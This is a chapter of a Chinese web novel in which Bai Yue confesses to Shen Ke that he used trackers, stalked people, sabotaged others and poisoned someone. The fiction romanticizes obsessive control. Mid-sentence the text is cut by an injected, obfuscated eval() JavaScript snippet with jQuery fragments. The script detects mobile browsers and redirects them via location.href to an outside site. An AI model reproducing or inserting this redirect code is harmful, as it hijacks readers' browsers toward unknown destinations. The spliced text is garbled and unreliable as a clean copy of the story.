病房的门虚掩着。
沈恪在门口站了很久。手里的蜂蜜小面包袋,勒得指腹发疼。
他在想第一句话该说什么。想了好几遍,没想出答案。
最后他还是推门进去了。
白越靠在床头,腿上盖着被子,手机握在手里。听见动静立刻抬头,眉眼弯弯:“宝宝。”
沈恪把袋子往床头柜上一放,动作有点急。他没看白越,声音尽量放轻:“给你带的,趁热吃。”
白越看了眼面包,愣了愣。
上一次,也是沈恪独自出门后给他带了袋这个回来。
“医院门口的小摊。”沈恪低头拆袋子,指尖发颤,“凉了就不好吃了。”
白越没说话,拿起一个,掰开,递过来一半。沈恪接了,咬一口,嚼着嚼着,嘴里发苦。
白越看着他吃,自己也咬了一口。甜的,很烫,软的有点过分,不是他喜欢的味道。但他吃得很慢,像是在品什么好东西。
“好吃。”他说。
沈恪嗯了一声,没接话。他站在床边,没坐,手插在外套口袋里,目光落在窗帘上,白窗帘被风吹得晃了晃,晃得眼睛发花。
沈恪在警局待了一下午,回来的时候还记得给他带零食。
白越忽然有些想笑。
他的宝宝怎么这么乖啊。
他放下面包,伸出手,指尖快要碰到他的胳膊:“宝宝,过来。”
沈恪猛地偏头,避开那只手,目光闪了闪。
“我去问医生,你腿怎么样了。”他语速很快,往后退了两步,几乎是逃着往门口走。
白越的手还悬在半空没有收回来。
“宝宝?”他叫了一声,声音依旧软,却没了之前的雀跃。
沈恪回过头,不敢看他的眼睛。
白越看着他,嘴角还弯着:“早点回来。”
沈恪点了点头,推门出去,反手带上门的瞬间,后背抵在墙上,大口喘气。
走廊里人来人往,护士推着药车,轮子碾过地砖,咕噜咕噜的响,听着刺耳。
沈恪靠着墙,低下头,盯着自己的鞋尖。
慌。
说不出的慌。
刚才推门进去的几秒,像耗光了全身的力气。
他果然还是没想好该怎么面对白越。
……
病房里,白越收回手,放在被子上,指尖轻轻摩挲着纱布边缘。
不对。
沈恪不对劲。
推门太慢,眼神躲闪,没叫他,没坐他旁边,甚至没敢多看他一眼。
白越靠在床头,盯着天花板,脑子里把沈恪进门后的每一个细节重新过了一遍。
他拿起手机,翻开聊天记录,往上划,一页一页。
前面都是软乎乎的消息,沈恪发的可爱表情包,黏人的语音,软软的“白越”。
直到那一条:【然】我到啦,别担心。
他回复的“好”。之后,沈恪再没回消息。
十二点四十分,定位显示沈恪到了市局。
两小时后,他发“宝宝你什么时候回来”,依旧没回复。
白越盯着屏幕,指尖冰凉。
沈恪在市局待了一个半小时,两点十分离开。可市局到医院最多只有半小时的路程。
沈恪回到医院,是下午五点。
中间有两个多小时的空白。
跃迁说了什么。
定位器、名单的事,沈恪能接受。软囚禁他都接受了,这些不会让他怕。
是更可怕的东西。让沈恪开始怕他的东西。
是什么?
白越的呼吸顿了一瞬,眼底掠过一丝阴翳,快得让人抓不住。很快,又恢复了平静。
“咚咚咚。”
门忽地被敲响,推开。
沈恪低着头走了进来,坐到他自己的床上,开始削苹果。
刀刃划过苹果皮,沙沙响。
“医生说你还要观察几天。”他把苹果皮丢进垃圾桶,声音很干,“我……我可以出院了。”
白越的心脏猛地一跳。
沈恪要说什么?伤口好了为什么要说自己可以出院了?
沈恪拆开手腕上的纱布,勒痕淡了,只剩几道红印,他转了转手腕:“你看,好了。”
白越盯着他的手腕,喉结动了动。
不行,不要说。
“这几天你也没大问题……”沈恪的声音顿了顿,避开他的目光,“我想出院了,白越。”
白越盯着他看了很久,唇瓣微启,声音依旧温柔:“……是我做错了什么吗,宝宝?”
沈恪猛地抬头,在白越垂眼的瞬间,疯狂摇头,肩膀发颤:“不是你,是我……是我……”
白越没让他说完,语气软下来,像在哄小孩:“是不是我那天亲照片吓到你了?”
“是我自顾自跑过去救你,还受伤了,宝宝在生气?”
“还是……我太粘人了,你觉得烦了?”
沈恪一阵失语。
他完全不知道要开口。
这怎么说?说有个人,列举了很多我不得不信的证据,然后告诉我你本来应该是个杀人犯,说我喜欢的温柔的你,都是装的?
可如果因为另一个世界发生过的事,就对现在的白越……怎么样,那对白越公平吗?
病房里静得诡异,只有窗外的风声,还有苹果刀落在桌上的轻响。
白越看着他沉默,眼底的光一点一点暗下去。他没追问,只是垂下眼,深呼吸一口气,再吸一口气。
他没有等到回答,便开始自己找答案。
“那天我亲照片,是想亲宝宝。”他抬起手,指尖点在自己嘴角,那颗和沈恪同一位置的黑痣上,“你介意这张脸,我就只能隔着照片亲,也像是在亲你。”
他顿了顿。
“……隔着就隔着吧。”
沈恪的眼眶一下子就红了,酸涩往上涌。
“我跑过去救你,因为我怕来不及。”白越低下头,声音闷在胸口,呢喃似的,“我怕晚一点,就找不到你了。”
“粘人。”他抬眼,眼底有血丝,“你一不在,我就觉得你要走了。”
“不是!”沈恪忙不迭打断他,“我喜欢你粘着我,我……”
“那就是我哪里错了,我不知道。”白越盯着他,灼人的目光似是要将他细细拆开,再温柔地收好,“宝宝告诉我,我改。”
沈恪张了张嘴,喉咙里像堵着棉花,一个字都挤不出来。
“宝宝。”白越又叫他,声音更轻,像哄,又像是在求,“你说句话。”
沈恪抬起头。白越的眼睛里有血丝,眼底泛着淡淡的青黑,嘴唇也没什么血色。
他看起来比自己更像那个被绑架的人。
白越在怕。
这个念头冒出来时,心口忽然软了一下。
可紧接着,又是一阵发冷。
他该心软吗?
“……你没做错什么。”沈恪低声回复道。
白越的眼睛亮了一下,又很快暗下去,像燃尽的火星。
“那你为什么……”白越的声音断了一下,像是在斟酌措辞,“不理我?”
沈恪愣了一下。
他以为白越不会注意到。或者说,他以为白越不会问。
他不是故意不理,是不敢。怕一开口,就问出那些戳心的问题,打破这层脆弱的平静。
过了很久,他才挤出一句:“我没有不理你。”
白越微微倾身,离他很近。狐狸眼直勾勾地盯着他,呼吸缠在一起,热得发烫。
两个字,很轻,但很笃定。
沈恪喘不过气。
白越什么都知道。他什么都知道,他只是不说。
想解释,却找不到理由。说“我在想事情”?连他自己都不信。
“……对不起。”他低下头。
白越的手忽然抓住他的手腕,不疼,但攥得很紧,那块皮肤发烫,像要烧起来。他往前倾了倾,额头抵着沈恪的额头。
太近了。
近到沈恪能看清他眼底的血丝,近到两个人的呼吸缠在一起,分不清是谁的。
“不要道歉。”白越平静的面容上终于出现了裂痕,“我只想知道,我哪里做得不好。”
他的声音压得很低,像是在克制,又像是已经快克制不住了。
沈恪的鼻子一酸,眼泪差点掉下来:“你真的没有错,是我自己的问题。”
白越安静了很久。
然后呼出一口气,像是什么东西落了下去。
“好。”
就一个字,平静得过分。
沈恪抬头,看见他脸上又恢复了平时的温柔,好像刚才的脆弱都是错觉。
“那宝宝什么时候想说了,”白越弯了弯嘴角,“再告诉我。”
他松开手,往后退了半步。那个距离不远不近,正好是沈恪伸手够不到的位置。
沈恪的手空了一下,心里也空了一下。
想伸手,又缩了回去。
“……那我先回去了,祈愿来接我,他要到楼下了。”
白越闭了闭眼。
他本来已经快说服自己了,可是为什么又是祈愿。
再睁开时,眼底的阴翳又藏住了。他伸手,最后一次拽住沈恪的手腕,声音软得发黏:“宝宝,可以陪我吗?”
他垂眸,盯着自己缠着纱布的腿,指尖悬在纱布上,声音发哑:“腿有点疼。今天换药的时候,护士说伤口长得不好,要重新清创。”
沈恪的脚步顿住了。
病房的灯很白,落在白越苍白的侧脸上,睫毛的阴影拉得很长,看起来很可怜。
他又要把白越一个人丢在这里了。
哎呀烦死了。
脑子乱糟糟的,嗡嗡响。
走也不是,留也不是。
算了。
不走了。
他转身走回来,坐在白越旁边的椅子上,椅子腿蹭过地砖,嗤啦一声响。
白越抬起头,眼底有一瞬间的茫然,很快又被温柔覆盖。
“宝宝?”
“你之前答应我,”沈恪开口,声音很紧,“一天告诉我一个瞒着我的事。”
白越的呼吸停了一瞬。
“我现在不想等了。”沈恪看着他,眼神发直,“今天全部告诉我。”
白越沉默了片刻,垂下眼,遮住眼底翻涌的情绪,再抬眼时,已经恢复了平静。
“现在?”
“嗯。”
“全部?”
“全部。”
“全部”这个词落进耳朵里的时候,白越的脑子里先过了一遍。
能说的,不能说的,分得分明。
宝宝不是会执着于事情对错的人。他做事的逻辑很简单,谁对他好,他就对谁好。他问这个事,目的不会是出于审判,是他觉得“你应该告诉我”。
如果不说,他已经起了疑心。他会自己去查,或者从跃迁那里知道更多。到那时候,他听到的版本就不是自己说的了。被动解释和主动坦白,他会更信哪一个?前者。
如果全说,他会怕。他可能会走,可能不会再来。但至少他听到的是真话,不会从别人嘴里知道那些事。主动权在自己手里,自己可以在说的时候控制节奏、控制语气、控制沈恪的反应。
利弊在脑子里转了一圈,结论只有一个——
他不能说全部,至少现在不行,死也得埋在心底。有些事情一旦说出来,他在沈恪眼里就再也不是那个温柔的、无害的、只是太爱他了所以做错事的男友了。
项圈、手环、定位器、监听器……这些可以说。沈恪已经经历过软囚禁,这些事在他能承受的范围内。
廖辰的事、跟踪的事、改祈愿航班的事、陶兰的事……这些也可以说。沈恪心软,他会心疼那些被自己伤害的人,也会心疼自己“为什么要做到这种地步”。
这些事说出来,沈恪会难过,但不会走。
那哪些不能说?
和沈恪本人有关的,会引起他害怕和恐慌的,不能说。
他做过最蠢的事就是国庆节那一次,在巷子里,他把沈恪按在墙上,亲他,摸他,把人吓哭了。如果沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448814|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恪知道那天非礼他的是他……
他不敢想。
还有监控。监听可以说,跟踪可以说,但监控不行。沈恪如果知道自己连在房间里换衣服都被他看着……
他闭上眼,把那几个画面压下去。
还有……沈恪睡着的时候。
他碰过他。不止一次。量尺寸、拍照、亲嘴角那颗痣。那些事沈恪若是知道了,他会觉得自己像个被摆弄的娃娃,连睡着都不会安心。
白越深吸一口气,再睁开眼时,表情已经恢复了平静。
能说的那些,已经够沈恪消化一阵了。
“……好。”
这个字说出口的时候,他忽然觉得轻松了一点。
至少,沈恪还愿意听他讲。
悬着的心,终于落回了实处。
……
第一个,是项|圈。
“项圈是我为你定做的。在知道你的名字之后,很快就做好了。内侧刻着你的名字,绳子的长度刚好够你走到门口。你拽一下,就会收紧。你疼了,就会乖。”
白越说到这里的时候,停了一下。
沈恪没看他,盯着自己的手指,指尖在无意识地绞着衣角,越绞越紧。
白越看见了。
他沉默几秒,声音放得更轻:“后来你想离开,我就想……我戴也可以。我不想要你走。”
“手环呢?”沈恪的声音很干。
白越没有犹豫,直白得过分:“定位器,心率监测,还有监听器。你之前的手机里也有,被绑架后坏了,就换了手环。”
沈恪很安静。他不知道要说什么。
脑子开始胀,他被白越的话砸懵了。
白越等了一会儿,没等到他开口,便继续说下去。第二个,第三个,第四个……
他每说完一件,就停一下,看一眼沈恪。
沈恪的脸色一点一点白下去,指尖攥着床单,褶皱堆在一起。白越看见了,把声音放得更轻,把语速放得更慢,像在拆一颗炸弹,每一根线都要看清楚才敢剪。
“……廖辰的退学,是我做的。他做皮条客的证据,是我递到学校的。他父母的工作,也是我让人辞退的。”
沈恪猛地抬头,嘴唇动了动,发不出声音。
眼前闪过廖辰狰狞的脸,闪过第一次约会时,电影院门口偶遇的画面。
原来不是巧合。
白越看着他,顿了顿,继续说。
跟踪沈恪、利用陶兰报复温择言、改祈愿的航班不让他回国、亲眼目睹于送风父亲的死亡……
他每说一件,沈恪的表情就变一点。从震惊到茫然,从茫然到木然,像一层一层霜打上去。
白越看着那些变化,在心里记着。
到第六件的时候,沈恪忽然开口:“还有呢?”
声音很轻,但白越听见了。
“……还有。”
他说到第九件的时候,沈恪浑身开始抖,控制不住地抖。
直到他说完最后一句“我调查过很多可能会伤害到你的人,把这份名单提供给了警方”,沈恪已经彻底说不出话了,只呆愣愣地看着白越。
白越终于在他面前剥去了那层温润无害的伪装,露出了内里危险阴森的芯子。
沈恪以为自己会高兴的,因为白越终于对他袒露心扉了。可白越每说一件,他就同步想起当初的不对劲。
林未晚说有人举报了张强,原来不是安阳。
第一次约会,他说想看电影,白越立刻就带他去,原来早就查好了。
那些他以为的幸运,那些巧合,全是白越精心安排的。
脑子越来越胀,越来越沉,里面装满了白越刚才说的那些话。
他不知道要用难以置信来形容自己此时的心情,还是要说一句不可理喻。
他想起自己刚换过来的时候,什么都不懂。白越说什么他都信。
因为白越对他好,好到他觉得没有必要怀疑,好到他以为白越真的很喜欢很喜欢“阿然”。
可现在那些“好”全变了味道。
他使劲掐着自己,指甲掐进掌心,疼,尖锐的疼,可没用,松开手,还是在抖。
白越看着他,没说话。
他坐在那里,隔着不到一米的距离,但沈恪觉得那段距离忽然变得很远。
远到像隔了一层磨砂玻璃,他看得见白越的轮廓,看不清表情。远到他觉得那不是一个他伸手就能够到的人。
“宝宝。”白越叫他,声音很轻。
沈恪没应。
“我说的,都是实话。”白越的语气依旧平静。
“不对。”沈恪听见自己的声音,带着一丝执拗,“还有一件,你没说。”
白越看向他,满目的柔情缱绻:“你说。”
“在我换过来之前,你是不是和温清然喝过酒?”
“……”
“你是不是……”沈恪的表情越来越难看,嘴唇哆嗦着,“真的对温清然下过毒?”
“在我刚换到这里的时候,你做好让我吃的那顿饭,真的只是饭吗?”
“白越?”
白越看着沈恪,沉默了片刻,像是在确认这个问题是不是真的被问出来了。
“……对。”
他顿了一下,垂下眼,语气比之前更轻:“我下了毒。”
言语直白得近乎莽撞。
沈恪没有接话。
他盯着白越,像在看一个陌生人。
不,不是陌生人。
还是他认识的那个人,只是但那个人身上忽然多出了他没见过的部分。
熟悉的脸,熟悉的声音,熟悉的温柔,可内里的东西,陌生得让他害怕。
他不知道该怎么把这两部分拼在一起。
他根本拼不出那个温柔粘人、会为他受伤的白越,和这个冷静下毒、精心算计的白越。
胸口发闷,喘不上气。
“……没了?”他的声音很轻,像飘在半空。
“你问的是不是,我答是。”
白越看着他,眼底情绪浓郁:“你还没问,为什么。”